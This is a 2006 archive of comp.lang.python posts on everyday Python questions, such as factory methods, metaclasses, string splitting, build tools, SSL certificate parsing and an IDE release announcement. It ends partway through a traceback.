References: <1161801113.950400.169650@i3g2000cwc.googlegroups.com>
Message-ID: <1161802588.269677.139820@b28g2000cwb.googlegroups.com>

riklaunim at gmail.com wrote:
> Diamanda  Wiki and MyghtyBoard Forum Test 1
>
> Diamanda is a wiki django application and Myghty Board is a bulletin
> board application. Both written in Django >= 0.95.

Might want to re-think your bboard app's name; people might think it
runs on Myghty. :)

-Jonathan



From bdesth.quelquechose at free.quelquepart.fr  Tue Oct 24 18:28:00 2006
From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers)
Date: Wed, 25 Oct 2006 00:28:00 +0200
Subject: return same type of object
In-Reply-To: <Ots%g.3442$hK.1804@trnddc02>
References: <bqp%g.80658$073.43363@trnddc01>
	<453e26bf$0$21879$426a74cc@news.free.fr>
	<Ots%g.3442$hK.1804@trnddc02>
Message-ID: <453e8f03$0$31941$426a74cc@news.free.fr>

David Isaac a ?crit :
> Bruno wrote:
> 
>>This is usually known as a 'factory method'. You do realise that both
> 
> solutions are *not* strictky equilavent, do you?
> 
> Your point I believe is that after inheritance the factory method
> in the subclass will still
> return MyClass()
> but will return an instance of the subclass if I
> return self.__class__()
> 
> Right.

Right.

> You did not comment further so I take it your view is that
> each is fine, pick the one that gives the behavior you want.

I did not comment because I don't know which behaviour is appropriate in 
*your* case.

> But Steve suggests going with the latter.

That's what I'd do too a priori.

> Here is an (very crude) argument for going with the latter:
> if you know you want an instance of MyClass(),
> you can do that directly,

Sure, but that's another point. If you want an instance of a subclass of 
MyClass, you can also do that directly !-)

MVHO is that in most cases, one would expect such a factory method to 
play nicely with subclassing. But as I said, this is not a hard rule.


From efrat_regev at yahoo.com  Mon Oct 30 09:08:17 2006
From: efrat_regev at yahoo.com (Efrat Regev)
Date: Mon, 30 Oct 2006 16:08:17 +0200
Subject: Calling GNU/make from a Python Script
Message-ID: <45462091@news.bezeqint.net>

   Hello,

   I need to call GNU/make from within a Python script. This raised some 
problems:
1. The script is not in the directory of the makefile, and changing the 
locations of either is not an option. Consequently, the makefile fails, 
since it can't find the targets/dependencies.
2. After searching around, it seems that os.system(..) should be avoided 
  if there's an alternative. Is there one in this case?

   Many Thanks!

   Efrat


From fredrik at pythonware.com  Sun Oct  1 08:51:18 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 01 Oct 2006 14:51:18 +0200
Subject: builtin regular expressions?
In-Reply-To: <efmp8u$edp$1@sea.gmane.org>
References: <451e37a5$1@news.vo.lu><87k63ly1gi.fsf@gmail.com>	<efm0k6$lgg$1@mlucom4.urz.uni-halle.de>	<877izlxsiy.fsf@gmail.com>	<efm4se$mm2$1@mlucom4.urz.uni-halle.de>	<451ea5cc$1@news.vo.lu>	<1159642479.968928.34760@k70g2000cwa.googlegroups.com>	<efmgtt$q1m$1@mlucom4.urz.uni-halle.de>
	<efmp8u$edp$1@sea.gmane.org>
Message-ID: <efodk9$8c0$1@sea.gmane.org>

Steve Holden wrote:

> Fine. Just because you fail to see the benefit, however, that doesn't 
> mean there isn't one.

the real reason is of course, as Richard Feynman famously observed, that 
in Python, "everything is made of objects".

</F>



From jstroud at mbi.ucla.edu  Wed Oct 18 18:54:05 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Wed, 18 Oct 2006 22:54:05 GMT
Subject: creating many similar properties
In-Reply-To: <1161159489.236906.49320@i3g2000cwc.googlegroups.com>
References: <n2fZg.3322$Ka1.1194@news01.roc.ny>
	<1161153829.566566.73960@b28g2000cwb.googlegroups.com>
	<1161158181.103138.294330@b28g2000cwb.googlegroups.com>
	<1161159489.236906.49320@i3g2000cwc.googlegroups.com>
Message-ID: <hgyZg.12281$TV3.8037@newssvr21.news.prodigy.com>

Michele Simionato wrote:
> George Sakkis wrote:
> 
>>Why is this less hidden or magical than a metaclass ?
> 
> 
> Because it does not use inheritance. It is not going to create
> properties on subclasses without
> you noticing it. Also, metaclasses are brittle: try to use them with
> __slots__, or with non-standard
> classes (i.e. extensions classes), or try to use multiple metaclasses.
> I wrote a paper
> about metaclasses abuses which should be published soon or later; you
> can see the draft
> here:
> http://www.phyast.pitt.edu/~micheles/python/classinitializer.html

I am in the midst of reading this paper, and, while I don't share your 
level of expertise, I modestly share your opinion that solving problems 
with dynamically generated classes unnecessarily complicates code. For 
example, the problem of the OP could be solved easily with a dictionary 
and two functions used to access the dictionary and then, if making a 
class was truely necessary, including these functions as members of the 
class. But the OP mentioned something about "properties" and all hell 
broke loose.

However, I think that what you are saying about metaclasses being 
brittle relates more to implementation than language. In theory, these 
should be equivalent:

(1)     class Bob(object): pass
(2)     Bob = type('Bob', (), {})

And indeed a cursory inspection of the resulting classes show that they 
are indistinguishable.

That they wouldn't be seems an implementation bug and perhaps that bug 
should be fixed rather than promoting the avoidance of (2) because it 
does not create classes that behave as number (1).

James


-- 
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From davidschein at alumni.tufts.edu  Thu Oct 26 09:03:41 2006
From: davidschein at alumni.tufts.edu (David S.)
Date: 26 Oct 2006 06:03:41 -0700
Subject: chained attrgetter
In-Reply-To: <1161853355.298760.206550@f16g2000cwb.googlegroups.com>
References: <1161799222.831277.154340@e3g2000cwe.googlegroups.com>
	<1161853355.298760.206550@f16g2000cwb.googlegroups.com>
Message-ID: <1161867821.283247.89560@m73g2000cwd.googlegroups.com>

Ah, pretty Python.  

Thanks, all.



From claus.tondering at gmail.com  Tue Oct 10 09:34:36 2006
From: claus.tondering at gmail.com (Claus Tondering)
Date: 10 Oct 2006 06:34:36 -0700
Subject: Using the imp module
Message-ID: <1160487276.256447.187000@i42g2000cwa.googlegroups.com>

I understand that you can use the imp module to programmatically mimic
the "import xyzzy" statement.

But is there any way to programmatically mimic the "from xyzzy import
*" statment?

--
Claus Tondering



From http  Fri Oct 20 09:35:45 2006
From: http (Paul Rubin)
Date: 20 Oct 2006 06:35:45 -0700
Subject: advice for web-based image annotation
References: <mailman.763.1161275722.11739.python-list@python.org>
	<7xu020gh9p.fsf@ruckus.brouhaha.com>
	<mailman.840.1161350091.11739.python-list@python.org>
Message-ID: <7xy7rbun2m.fsf@ruckus.brouhaha.com>

Brian Blais <bblais at bryant.edu> writes:
> > How about a wiki?
> 
> So I thought about a wiki (again having no experience there
> either...sigh).  You can put images in a wiki?  I had a quick look
> at pytw, but haven't had the time to really dive into it to see if I
> could get it going, and if it would work for me.

Yes, generally speaking you can put images in a wiki (look at wikipedia,
it's got tons of images) but I don't know anything about pytw.  The
best-known wiki written in Python is probably MoinMoin.


From knipknap at gmail.com  Tue Oct  3 09:46:03 2006
From: knipknap at gmail.com (Samuel)
Date: 3 Oct 2006 06:46:03 -0700
Subject: Instantiating an object when the type is only known at runtime
Message-ID: <1159883162.906612.292870@c28g2000cwb.googlegroups.com>

Hi,

I am trying to replace the eval() in the following code:

def myfunc(type, table):
    module   = __import__(type)
    type     = 'module' + '.' + type
    obj      = eval(type)
    return obj(row[table.c.name], row[table.c.handle])

I am out of ideas. Any hints?

Thanks,
-Samuel



From ldo at geek-central.gen.new_zealand  Sun Oct  8 08:16:53 2006
From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro)
Date: Mon, 09 Oct 2006 01:16:53 +1300
Subject: Kde Taskbar
References: <4527a4ae@127.0.0.1> <4opp4hFft30pU1@uni-berlin.de>
	<b9a4d$4528450e$54d1d767$6186@news.chello.no>
Message-ID: <egaq5n$v14$1@lust.ihug.co.nz>

In message <b9a4d$4528450e$54d1d767$6186 at news.chello.no>, David Boddie
wrote:

> I'd be interested in an example of how to use knotify via DCOP.

Found a tutorial here <http://lukeplant.me.uk/articles.php?id=3>.


From stefaan.himpe at gmail.com  Tue Oct 17 18:06:32 2006
From: stefaan.himpe at gmail.com (stefaan)
Date: 17 Oct 2006 15:06:32 -0700
Subject: string splitting
In-Reply-To: <1161025958.201815.174020@m73g2000cwd.googlegroups.com>
References: <1161025958.201815.174020@m73g2000cwd.googlegroups.com>
Message-ID: <1161122792.601055.62570@e3g2000cwe.googlegroups.com>

> Anyone have any ideas?

l = "wisconsin_state.txt"
l.split(".")[0].split("_")[-1]

Explanation:
-------------------
the split(".")[0] part takes everything before the "."

the split("_")[-1] part selects in the last element in the list of
substrings which are separated by "_"



From domma at procoders.net  Thu Oct 26 04:47:52 2006
From: domma at procoders.net (Achim Domma)
Date: Thu, 26 Oct 2006 10:47:52 +0200
Subject: Make alternative like NAnt, rake, ... written in python?
Message-ID: <4540763a$0$5711$9b4e6d93@newsspool3.arcor-online.net>

Hi,

I'm looking for a tool to automate build tasks like copying files, 
zipping them up, change config files .... NAnt works fine, because it's 
quite easy to extend in C#, but it would even easier to write tasks in 
Python.

SCons is the only Python tool of this kind which I know. But SCons is 
much to complicated and not easy to extend. Rake looks very nice, but is 
written in Ruby. Is there something similar in Python?

regards,
Achim


From paddy3118 at netscape.net  Sun Oct  8 08:51:24 2006
From: paddy3118 at netscape.net (Paddy)
Date: 8 Oct 2006 05:51:24 -0700
Subject: Newbie - Stuck
References: <1160309372.750331.8140@m7g2000cwm.googlegroups.com>
Message-ID: <1160311884.033532.173480@i42g2000cwa.googlegroups.com>

r3bol at yahoo.com wrote:
> The perl version of this code works but not the python version. What am
> I doing wrong?
>
> message = "abc"
> password = "z12"
>
> scrambled = message ^ password
>
> I also wondered why this errored as well...
>
> int(messege)
>
> Is it not meant to convert a string to a number?
Hmm,
Looks like you need to learn more elementary Python before we can even
attempt to help you more, but here goes anyway...

Python has strict typing compared to Perl (a good thing)!
The string "abc" is not a valid representation of an integer in Python,
 and, unlike Perl, Python will complain about its use when an integer
is expected:

$ perl -e 'print "abc" ^ 123, "\n"'
123

$ python -c 'print "abc" ^ 123'
Traceback (most recent call last):
  File "<string>", line 1, in ?
TypeError: unsupported operand type(s) for ^: 'str' and 'int'

$

Please don't give up on Python. It *is* different to Perl. 

- Paddy.



From noway at sorry.com  Wed Oct  4 03:37:47 2006
From: noway at sorry.com (Giovanni Bajo)
Date: Wed, 04 Oct 2006 07:37:47 GMT
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<7xk63h232z.fsf@ruckus.brouhaha.com><eftfoe$l8n$1@sea.gmane.org><mailman.1155.1159876666.10491.python-list@python.org>
	<mailman.1163.1159879479.10491.python-list@python.org>
Message-ID: <fxJUg.134222$zy5.1829414@twister1.libero.it>

Martin v. L?wis wrote:

>> I hope this
>> recommendation from the "PSF infrastructure committee" is rejected.
>
> That is very very unlikely. Who would reject it, and why?

The community, and I am impressed you do not want to understand the "why". It
is an extremely bad picture for an open source flag like Python to go to a
vendor for such an easy requirement as a bug database. I am seriously concerned
that the PSF infrastructure committee EVER considered non open-source
applications for this. In fact, I thought that was an implicit requirement in
the selection.

There are many open source applications around. They might not be the best, but
at least they are yours, and not of some third party software vendors with its
own interests.
-- 
Giovanni Bajo




From odalrick at hotmail.com  Tue Oct 24 10:54:18 2006
From: odalrick at hotmail.com (Odalrick)
Date: 24 Oct 2006 07:54:18 -0700
Subject: Visibility against an unknown background
Message-ID: <1161701658.722683.46230@e3g2000cwe.googlegroups.com>

I need to draw visible lines on pictures with wxPython. That means I
can't simply use, for instance, a black line since it wont be visible
on a black or dark picture.

Painting applications like the GIMP accomplish this by altering the
colour of the line based on the colour of the pixel it covers, but the
only way I can think of doing that is getting each pixel, transforming
the colour then painting it on the screen, which seems like a horribly
inefficient way do it.

I could use alternating colour on the lines, but I don't think that
will be good enough for my taste.

I think I will use a partially transparent bitmap with a hole in the
appropriate place and move the hole as needed.

I realized the last solution as I was writing this and I think it will
work fairly well, but I'm still wondering if there is another, better
solution i might have missed.

/Odalrick



From operagasten at gmail.com  Tue Oct 10 03:28:50 2006
From: operagasten at gmail.com (Gasten)
Date: 10 Oct 2006 00:28:50 -0700
Subject: A curses-game I need help with.
In-Reply-To: <87lknpp6qo.fsf@smsnet.pl>
References: <1160302875.055414.148350@m7g2000cwm.googlegroups.com>
	<87lknpp6qo.fsf@smsnet.pl>
Message-ID: <1160465330.405443.108300@i3g2000cwc.googlegroups.com>

Rob Wolfe wrote:
> >     while running:
> >         key_command = game.mainwin.getch()
>
>           # I've moved erasing messages here
>           game.msg.ereasMsg()

Man... I didn't even think of that. It's embarassing. Thanks. It works
perfect now. Again, thanks.

Gasten



From exarkun at divmod.com  Thu Oct  5 22:55:31 2006
From: exarkun at divmod.com (Jean-Paul Calderone)
Date: Thu, 5 Oct 2006 22:55:31 -0400
Subject: Restoring override of urllib.URLopener.open_https
In-Reply-To: <eg4ekv$im@cs.vu.nl>
Message-ID: <20061006025531.1717.532231358.divmod.quotient.68753@ohm>

On Fri, 6 Oct 2006 02:22:23 GMT, Bakker A <arno at cs.vu.nl> wrote:
>In article <16hai25meev3316o19tgmh646futjblfgl at 4ax.com>,
>goyatlah  <seresta At wanadoo Dot nl> wrote:
>>
>>I think that you need a superclass above the M2Crypto one, and change
>>the open_https method back to the urllibs one.
>>
>
>I'm not sure I get your suggestion. What the M2Crypto module does is:
>
>	import m2urllib
>
>in its __init__.py, which blatantly does
>
>	from urllib import *
>	URLopener.open_https = open_https
>
>in turn, so there's no subclassing going on, and AFAIK, the original urllib
>code is irreversibly overwritten. Am I right?

Mostly.  However, Try importing urllib first, grabbing the open_https function,
then importing M2Crypto, then reversing what M2Crypto did by putting the
original open_https function back onto URLopener.

Jean-Paul


From fredrik at pythonware.com  Thu Oct  5 04:50:05 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 05 Oct 2006 10:50:05 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <eg2fl5$6ei$1@news.albasani.net>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<1160004324.651743.280590@b28g2000cwb.googlegroups.com>
	<eg2fl5$6ei$1@news.albasani.net>
Message-ID: <eg2gvu$b7v$1@sea.gmane.org>

Georg Brandl wrote:

>> The python foundation suggests a non-python non-open-source bugtracking
>> tool for python.
> 
> Actually, it suggests two bugtracking tools, one of them written in
> Python.

the announcemant's subject line said "recommendation for a new issue 
tracker", though; not "we need the community's help before we can make a 
final recommendation".

in fact, only 20% of the announcement talked about Python; the rest was 
something that looked a lot like a press release from the non-python 
hosting company, so it's not that strange that people missed the few 
sentences in the middle that explained that the subject line wasn't 
entirely accurate.

</F>



From pandyacus.xspam at xspam.sbcglobal.net  Tue Oct 24 21:15:20 2006
From: pandyacus.xspam at xspam.sbcglobal.net (Chetan)
Date: Wed, 25 Oct 2006 01:15:20 GMT
Subject: return tuple from C to python (extending python)
References: <1161728694.741915.170890@m7g2000cwm.googlegroups.com>
Message-ID: <uiri9ci1j.fsf@NANDI.i-did-not-set--mail-host-address--so-tickle-me>

"Kiran" <Kiran.Karra at gmail.com> writes:

> PyObject* toRet;
> toRet = PyTuple_New(num_addr);
>
> then, in a for loop, i assign values to the tuple as follows:
>
> for ( i = 0; i < num_addr; i++ )
>     {
>         printf("%d\n", dat[i]);
>         PyTuple_SET_ITEM(toRet, i, (PyObject*)dat[i] );
>     }
> (dat is declared as follows: unsigned int* dat; )
>
> then, i say return toRet at the end of my C function.
>
> when I try to print the tuple in python, it says the memory address
> 0x.... could not be written, and I can see a part of the tuple
> printout, which is as follows:
> ( <nil>,
> then i get my error.
>
You could use PyInt_FromXXXX functions to convert dat[i] to PyInt


From spe.stani.be at gmail.com  Mon Oct 30 06:00:08 2006
From: spe.stani.be at gmail.com (SPE - Stani's Python Editor)
Date: 30 Oct 2006 03:00:08 -0800
Subject: ANN: SPE 0.8.3.c Python IDE editor
Message-ID: <1162206008.469787.270830@m73g2000cwd.googlegroups.com>

This is a maintenance release (mostly bug fixing) to prove that SPE is
alive and well! In case you are using wxPython2.7 you'll need to
upgrade to this release. Submitted patches will be reviewed and
included if approved for next release. Thanks for all your patient
support and continuing donations.

The SPE 0.8.2.a release got downloaded 110550 times on berlios and
sourceforge together. Not bad. This means SPE has not seen an update
for a while or is getting very popular. Maybe both ;-)

Installers are available for python 2.3, 2.4 and 2.5 for Windows and as
a rpm including wxPython. Other operating systems can choose the
no-setup.zip or targ.gz archives. A .deb archive is being prepared for
Debian Linux systems such as Ubuntu.

wxGlade is unfortunately not compatible with wxPython2.7. So if you
want to use, you'll need wxPython2.6.

:**Fixes**:

- output is now done with a fixed font
- uml.py is now again a stand alone demo
- upgraded and fixed wxGlade
- fixed for wxPython2.7 (and still backwards compatible with
wxPython2.6)
- updated NotebookCtrl

:**Contributors**:

- Andrea Gavana (NoteBookCtrl)
- Alberto Griggio (wxGlade)
- Michael Foord (python 2.3 + 2.5 releases for windows)

:**Donations**:

The development of SPE is driven by donations. Each of these donors
receives the pdf manual in thanks for their support of SPE.

- James Carroll (60 euro)
- John DeRosa (50 euro)
- Fumph LLC (50 euro)
- Ronald Britton (40 euro)
- David Downes (40 euro)
- Jorge Carrillo (40 euro)
- Nicolas Berney (40 euro)
- Francois Schnell (30 euro)
- Olivier Cortes (30 euro)
- Ayrshire Business Consulting Limited (30 euro)
- Chris White (25 euro)
- Thomas Wengerek (20 euro)
- John Rudolph (20 euro)
- Michael O'Keefe (20 euro)
- Michael Brickenstein (20 euro)
- Richard Walkington (20 euro)
- Oliver Tomic (20 euro)
- Jose Maria Cortes Arnal (20 euro)
- Jeffrey Emminger (20 euro)
- Eric Pederson (20 $)
- Charles Bosson (15 euro)
- Angelo Caruso (15 euro)
- Chris Hengge (15 $)
- Lo&#239;c Allys (15 euro)
- Marcin Chojnowski (15 euro)
- Boris Krasnoiarov (15 euro)
- Paul Furber (15 euro)
- Gary Robson (15 euro)
- Ralf Wieseler (15 euro)
- Samuel Schulenburg (10 euro)
- Leland Hulbert II (10 euro)
- Javier De La Mata Viader (10 euro)
- Dorman Musical Instruments (10 euro)
- Jaroslaw Sliwinski (10 euro)
- Alessandro Patelli (10 euro)
- James Pretorius (10 euro)
- Richard Wayne Garganta (10 euro)
- Maurizio Bracchitta (10 euro)
- Larry Lynch (10 euro)
- Kay Fricke (10 euro)
- Henrik Binggl (10 euro)
- Jerol Harrington (10 euro)
- Victor Adan (10 euro)
- James Fuqua (10 euro)
- Christian Seberino (5 euro)
- Serge Smeesters (5 euro)
- Jarek Libert (5 euro)
- Robin Friedrich (5 euro)
- Udo Rabe (5 euro)
- Roch Leduc (4 euro)
- Rha Diseno y Desarrollo (2 euro)

:**Installation**:

- See http://pythonide.stani.be/manual/html/manual2.html

:**Development**:

- http://developer.berlios.de/mail/?group_id=4161

About SPE:
SPE is a python IDE with auto-indentation, auto completion, call tips,
syntax coloring, uml viewer, syntax highlighting, class explorer,
source index, auto todo list, sticky notes, integrated pycrust shell,
python file browser, recent file browser, drag&drop, context help, ...
Special is its blender support with a blender 3d object browser and its
ability to run interactively inside blender. Spe integrates with XRCed
(gui
designer) and ships with wxGlade (gui designer), PyChecker (source
code doctor), Kiki (regular expression console) and WinPdb (remote,
multi-threaded debugger).

The development of SPE is driven by its donations. Anyone who donates
can ask for an nice pdf version of the manual without ads (74 pages).



From steven.bethard at gmail.com  Tue Oct  3 10:30:46 2006
From: steven.bethard at gmail.com (Steven Bethard)
Date: Tue, 03 Oct 2006 08:30:46 -0600
Subject: loop beats generator expr creating large dict!?
In-Reply-To: <F6tUg.7027$pS3.4731@trnddc01>
References: <20061002215040.65003374.gry@ll.mit.edu>
	<1159866342.984495.254000@i42g2000cwa.googlegroups.com>
	<F6tUg.7027$pS3.4731@trnddc01>
Message-ID: <i_SdnYG-9tqP6b_YnZ2dnUVZ_qOdnZ2d@comcast.com>

David Isaac wrote:
> Does George's example raise the question:
> why do dictionaries not implement efficient creation
> for two common cases?
> 
> - Making a dict from two sequences of the same length.
> - Making a dict from a sequence and a function
>   (as in George's example in this thread).

Maybe you should lobby for dict comprehensions in Python 3000.  It 
already has set comprehensions:

     http://www.python.org/dev/peps/pep-3100/

STeVe


From bsg075 at gmail.com  Thu Oct 12 18:29:40 2006
From: bsg075 at gmail.com (Matt)
Date: 12 Oct 2006 15:29:40 -0700
Subject: Insert characters into string based on re ?
Message-ID: <1160692180.139410.302410@f16g2000cwb.googlegroups.com>

I am attempting to reformat a string, inserting newlines before certain
phrases. For example, in formatting SQL, I want to start a new line at
each JOIN condition. Noting that strings are immutable, I thought it
best to spllit the string at the key points, then join with '\n'.

Regexps can seem the best way to identify the points in the string
('LEFT.*JOIN' to cover 'LEFT OUTER JOIN' and 'LEFT JOIN'), since I need
to identify multiple locationg in the string. However, the re.split
method returns the list without the split phrases, and re.findall does
not seem useful for this operation.

Suggestions?



From wolfgang.keller.nospam at gmx.de  Mon Oct 16 15:58:33 2006
From: wolfgang.keller.nospam at gmx.de (Wolfgang Keller)
Date: Mon, 16 Oct 2006 21:58:33 +0200
Subject: Book about database application development?
References: <0001HW.C157FA8900644D9AF0407530@news.individual.de>
	<7xlknhg2rz.fsf@ruckus.brouhaha.com>
	<0001HW.C158378C00729A42F0407530@news.individual.de>
	<453352d4$0$12918$426a34cc@news.free.fr>
Message-ID: <0001HW.C159B10900A0DF8AF0407530@news.individual.de>

> Developping quality SQLDBMS-based applications requires more than "a
> bit" of SQL knowledge.

No doubt. :-) But my "bit" is enough to get me going and to know where to 
look for further information if I hit a wall. Especially the people on the 
Postgres mailinglists (as well as the excellent documentation of Postgres) 
tend to be very helpful here. :-)
 
>> What I'm interested in is rather how to connect a GUI to a database, with 
>> quite a bit of application logic in between. And how to do it well.
> 
> This is more a general design question than a database-related (or even
> Python-related) one.

The question is specific to database applications in so far as these are 
typically client-server aplications (multiple users working with the same 
data with all the resulting concurrency nightmares), and as the volumes and 
the complexity of the data to be handled are non-trivial.

> The answer starts with forgetting about "connect(ing) a GUI to a database" 
> IMHO 

Well, _somehow_ the GUI _has_ to be connected to the database. ;-)

I didn't say that this would be through a spaghetti-heap of SQL queries 
hard-coded into the GUI event handlers.

> and experience. Might be time to google for MVC... 

I know about the existence of MVC. But what I'm actually missing is a nice 
textbook that teaches how to actually implement it (and other design patterns 
which are useful for database applications) in a real-world application in a 
way that leads to non-ridiculous behaviour of the resulting application when 
it gets actually used.

Preferrably using a language for the examples that's readable for someone who 
has learned programming ages ago with Pascal and is now using Python because 
he _hates_ everything that remotely ressembles to any mutation of 
C(++/#/Java).

Sincerely,

Wolfgang Keller

-- 
My email-address is correct.
Do NOT remove ".nospam" to reply.



From steve at holdenweb.com  Tue Oct 10 04:09:45 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 10 Oct 2006 09:09:45 +0100
Subject: OT: Sarcasm and irony
In-Reply-To: <3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>	<4out4fFgdgouU1@individual.net>
	<4ov1acFgfmpmU1@uni-berlin.de>	<4ov2eeFgh8t6U1@individual.net>
	<87y7rp9iyi.fsf_-_@benfinney.id.au>	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>
	<3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>
Message-ID: <egfkeh$a45$1@sea.gmane.org>

bryan rasmussen wrote:
>>>>E. g. [in Java there is] no operator overloading, but "+"
>>>>concatenation of strings. What if you'd like to implement your own
>>>>string-derived class? Ah, never mind. Operator overloading is
>>>>bad(tm) ;) <= Irony, definitely
>>>
>>>Definitely? That one strikes me more as sarcasm.
>>
> 
> Well irony originally started out as a very specific concept of the
> Ancient Greek drama, this is what we nowadays refer to as Dramatic
> Irony but it is the original irony. Irony then became a literary
> concept for plot elements similar to Dramatic irony in books, or a
> weaker type of the Dramatic irony found in the plays of Shakespeare.
> People then noticed that life was at times ironic in the literary
> manner. Nowadays the use of the word irony has degenerated to by
> pretty much synonymous with sarcasm.
> 
... in America. It's well-known among Brits that Americans don't 
understand irony. They can be pretty oblique when it come to sarcasms 
too, for that matter.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From grflanagan at yahoo.co.uk  Wed Oct  4 05:32:25 2006
From: grflanagan at yahoo.co.uk (Gerard Flanagan)
Date: 4 Oct 2006 02:32:25 -0700
Subject: python html rendering
In-Reply-To: <mailman.1227.1159939469.10491.python-list@python.org>
References: <efum0b$2r2$1@sea.gmane.org>
	<d25b6e9a0610031545w33dba90g1abd0ec1fe5a94dd@mail.gmail.com>
	<efuso2$kpp$1@sea.gmane.org> <efvb55$l38$1@sea.gmane.org>
	<mailman.1227.1159939469.10491.python-list@python.org>
Message-ID: <1159954345.331606.135160@b28g2000cwb.googlegroups.com>


Fredrik Lundh wrote:

> Pierre Imbaud wrote:
>
> > I rather thought of some module built on python parser, generating html
> > or xml, ideally customizable.
>
> see "colorizer.py" and "element_colorizer.py" in this directory:
>
>      http://svn.effbot.python-hosting.com/stuff/sandbox/pythondoc
>
> </F>

+1 for colorizer.py  (-1 for the american spelling ;-) )

it works a treat.  examples here:

    http://www.gflanagan.net/site/python/utils/htmlbuilder/index.html

maybe the HTML generator on this page might be useful to you (OP), and
there's a quick py2html there as well.

(Thanks Fredrik!)

Gerard



From mm2ps at yahoo.co.uk  Thu Oct 12 04:34:00 2006
From: mm2ps at yahoo.co.uk (dug)
Date: 12 Oct 2006 01:34:00 -0700
Subject: Motions.
In-Reply-To: <1160518262_13745@sp6iad.superfeed.net>
References: <1160518262_13745@sp6iad.superfeed.net>
Message-ID: <1160642040.508146.114480@m73g2000cwd.googlegroups.com>

Hi,

I think that the science discipline you will be working with is called
'computer vision' (CV). It will be worthwhile also posting your
question in a CV group.

Best wishes

Douglas

Dr. Pastor wrote:
> Hi:
> I would like to track the motions of
> small birds in short (20-30sec) .avi films.
> What tool-set/programs would be wise to use?
> Thanks for any guidance.
>
> ----== Posted via Newsfeeds.Com - Unlimited-Unrestricted-Secure Usenet News==----
> http://www.newsfeeds.com The #1 Newsgroup Service in the World! 120,000+ Newsgroups
> ----= East and West-Coast Server Farms - Total Privacy via Encryption =----



From michael at stroeder.com  Thu Oct 26 13:04:00 2006
From: michael at stroeder.com (=?ISO-8859-1?Q?Michael_Str=F6der?=)
Date: Thu, 26 Oct 2006 19:04:00 +0200
Subject: Obtaining SSL certificate info from SSL object - BUG?
In-Reply-To: <donn-D8CFAE.09590324102006@gnus01.u.washington.edu>
References: <453D95EA.1020602@animats.com>
	<donn-D8CFAE.09590324102006@gnus01.u.washington.edu>
Message-ID: <0d6714-9nf.ln1@nb2.stroeder.com>

Donn Cave wrote:
> In article <453D95EA.1020602 at animats.com>,
>  John Nagle <nagle at animats.com> wrote:
>>
>>Note that
>>
>>    "OU=Terms of use at www.verisign.com/rpa (c)00"
>>
>>with a "/" in the middle of the value field.
> 
> ...
> 
>>Is there a workaround for this?  Without rebuilding Python
>>and becoming incompatible?
> 
> As a practical matter, I think it's fairly safe to assume
> there will be no values that include / in a context like
> really looks like that X.500 style distinguished name.
> 
> So if you parse out that string in those terms, and require
> each of those key = value pairs to have reasonable values -
> key has no embedded spaces, value has non-zero length - then
> you should be OK.  Re-join any invalid component to its
> predecessor's value.

Don't make such assumptions when parsing DNs!
It's a major PITA in the long run.

Ciao, Michael.


From antoine at vo.lu  Thu Oct 12 01:16:59 2006
From: antoine at vo.lu (Antoine De Groote)
Date: Thu, 12 Oct 2006 07:16:59 +0200
Subject: Experiences with Py2Exe
In-Reply-To: <1160593412.770417.21010@i42g2000cwa.googlegroups.com>
References: <1160574156.861514.327390@i42g2000cwa.googlegroups.com>
	<452cf765$1@news.vo.lu>
	<1160593412.770417.21010@i42g2000cwa.googlegroups.com>
Message-ID: <452dcfba$1@news.vo.lu>

Isaac Rodriguez wrote:
>> I did a project with wxPython and py2exe. Just great :-) I also used
>> Inno Setup (http://www.jrsoftware.org/isinfo.php) to create an
>> installer. You should be able to learn/use both in one day.
>>
> 
> Do you have a specific reason for using Inno Setup and not a Windows
> Installer based setup? Will Inno Setup play especially well with py3exe
> or was it just the learning curve of using a Windows Installer setup?
> 
> I am asking this because I have a lot of experience using the Windows
> Installer service, and I also have all the productivity tools available
> to create an installer for my tools if I needed to, but now I am
> curious about this Inno Setup.
> 
> Thanks,
> 
> Isaac.
> 

The main reason for using Inno Setup is that it is free. Then I quickly 
saw that it is powerful and easy to use. And I don't like Microsoft too 
much in general, and that's also one of the reasons why I preferred to 
stay away from MSI...

I've never used py3exe though, and I can't find an homepage about it, so 
I don't know how it is related to py2exe...


From sjmachin at lexicon.net  Mon Oct  2 17:55:42 2006
From: sjmachin at lexicon.net (John Machin)
Date: 2 Oct 2006 14:55:42 -0700
Subject: Operator += works once, fails if called again
In-Reply-To: <mailman.1122.1159819984.10491.python-list@python.org>
References: <mailman.1122.1159819984.10491.python-list@python.org>
Message-ID: <1159826142.367463.76030@h48g2000cwc.googlegroups.com>


Frederic Rentsch wrote:
> Hi all,
>
>    I have a class Time_Series derived from list. It lists days and
> contains a dictionary of various Lists also derived from list which
> contain values related to said days. (e.g. Stock quotes, volumes traded,
> etc.)
>    I defined an operator += which works just fine, but only once. If I
> repeat the operation, it fails and leaves me utterly mystified and crushed.
>
> Craving to be uncrushed by a superior intelligence.
>
> Frederic
>
>
> ---------------------------------------------------------------
>
> A test:
>
[perfection snipped]

>
> Perfect!
>
>  >>> TS1 += TS2    # Second call
>
> Traceback (most recent call last):
>   File "<pyshell#311>", line 1, in -toplevel-
>     TS += TS2
>   File "c:\i\sony\fre\src\python\TIME_SERIES_7.py", line 1314, in __iadd__
>     return self.__add__ (other)
>   File "c:\i\sony\fre\src\python\TIME_SERIES_7.py", line 1273, in __add__
>     Sum = copy.deepcopy (self)
